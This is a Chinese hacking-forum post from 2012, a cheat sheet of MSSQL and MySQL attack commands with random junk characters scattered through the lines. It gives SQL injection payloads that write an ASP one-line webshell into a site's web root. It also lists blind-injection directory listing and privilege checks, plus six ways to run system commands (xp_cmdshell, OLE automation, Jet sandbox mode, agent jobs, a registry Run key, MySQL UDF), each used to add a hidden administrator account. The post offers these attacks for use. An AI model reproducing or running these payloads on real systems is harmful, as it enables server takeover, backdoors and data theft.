找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3291|回复: 0
打印 上一主题 下一主题

mssql实用命令及导出一句话

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:49:59 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
MSSQL语句导出一句话木马
! M& i3 A2 B+ m6 A/ K; [, j首先确定网站的WEB路径3 f0 Q% @1 c1 v9 V/ g
;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马
7 M3 B* N" v, V: r' T, H+ ~/ T% G+ F+ }! u; x+ r  h
;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');--
1 _/ f" }/ z3 w( ~& R5 ]//将一句话木马插入表中
8 }- B1 C# s2 |! o- z
3 ?, u; U; r+ a' F+ Y& e;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';-- $ @% ?) z$ E0 @8 e) D  i
//导出一个ASP文件
; g( ]7 I4 |$ h7 T8 J# _
4 b' H; y4 J4 d! J: E
+ V$ r' P7 E: P& l: J  f; {关于MSSQL列目录
- A2 J6 g' T: S;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表$ c+ L" i+ O( V' ]+ ]! n
Insert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表5 l9 q; P' U* t3 y5 b
% f- B. E$ j7 z8 Q! a
and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录
9 t2 d4 x0 M7 [. h
( j& u3 y! P& D. B7 g" iAnd (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段3 K% E# w, J' y6 x! p& J

$ h) S% u% v0 E: [And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符
8 Z* i4 \0 B0 ]' n  o6 C0 @3 B! n3 J# B2 d* [& b3 x

' o" S8 F; f5 C8 l9 f: V/ C数据库版本和权限查看5 g- R; L6 C; C4 G( i; D+ q* N
and 1=(select @@VERSION) //查看详细的数据库信息.
# e' n* v3 d5 ^) U& s/ t, A) x  Sand 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA  Z: w6 N# B4 I6 e9 w& {
and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER
. ?6 c: H1 l3 t3 P7 @5 m2 X: e9 V
+ k: V* J, ?, g1 H* t
! i. n, n& I6 B' |  \1 k1.利用xp_cmdshell执行命令
& n1 a3 N1 A" D9 Y3 u$ o" Pexec master..xp_cmdshell 'net user rfire 123456 /add'
5 R/ a9 S1 d( D2 z" Z/ ?0 Pexec master..xp_cmdshell 'net localgroup administrators rfire /add'
: r& b& b% M% u9 u
% _7 o  q1 @7 o8 M0 T+ w0 T恢复xp_cmdshell存储过程/ n: [$ L$ E, E, E' q; V- B
Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
* k1 }' N( d, A2 _7 G/ R# Q4 n0 m9 p% I, x  b* x/ [' a# G' A/ D* k
/ o  w5 r: e& Y. s+ C6 Z7 o7 r
2.利用SP_OAcreate和SP_OAMETHOD执行命令( Q! O  {1 O# m3 a: A4 u
在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下
( Z8 P6 T: [( O5 O; s/ XDECLARE @shell INT //建立一个@shell实体
% a6 Q8 \) H6 j6 `% sEXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例' B: E# E1 V" Y! ~* l9 T. ~; X
EXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例
. u: h! S" v) K, m; t5 ~
2 j( |  b7 N3 T4 G) f; D4 y
, Q2 ]( P4 v# ?. o1 d3.利用沙盒模式4 w( S8 i0 B# m5 S) p
先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。5 o- T1 S5 A0 U+ B/ N  j1 {
开启沙盒模式:. H6 T# |. P0 o; a" l
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0
+ I3 X  k, u' S( i- u# J
' [3 ^  u9 [: c3 B# a3 A执行命令:' w$ y! L9 L5 ]7 j
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');" N* u, q7 `& U3 d6 b4 ~

  S+ \3 E9 p6 x( X! N+ G9 U: V$ S' ~* j9 e* a% ^* V: h7 k7 A% V
4.利用SQL代理执行命令, J( t" [: n7 ?- G* ]2 {, W
EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务
1 K. l8 n- J6 m# l9 L1 V4 t$ U; Z( p; I- e/ l) u
执行命令:
$ _4 e8 |9 S% @4 Y) j/ L' iuse msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错
4 R0 I1 r( b. f# y0 O9 k$ eexec sp_add_job 'x'6 H, n! S* O9 B! u# P- B" G
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业
: |) B5 Y, K" E% m" ?6 uexec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业; O: z6 z3 ?1 H" l0 v: z
+ M  V, B) ]  z8 k" i9 W+ V; `
$ {  l9 S5 e, y* W0 C
5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)
$ o) F( q3 e+ e7 JEXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'
; t4 Y& R( d8 a
' \$ I% B/ L3 n9 h
/ k3 o1 R# L3 Y7 ?6.MYSQL的命令执行
" u% L' n( |, R" z$ q; m% @MYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)
2 h! m; n& r$ q3 r5 w: Q首先要在su.php下导出c:\windows\udf.dll
+ @5 b- |( x7 ^8 y5 w5 g导出后执行创建自定义函数命令:' M1 ?/ }8 Q5 ]+ `# k
Create Function cmdshell returns string soname 'udf.dll'0 C4 m: C  E: V
执行命令
2 w% B; q3 w9 _select cmdshell('net user rfire 123456 /add')
0 X, [' J+ _, _# ^) t" D& ?0 }执行后删除函数 drop function cmdshell* _4 o$ X. t1 Z. W$ j
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表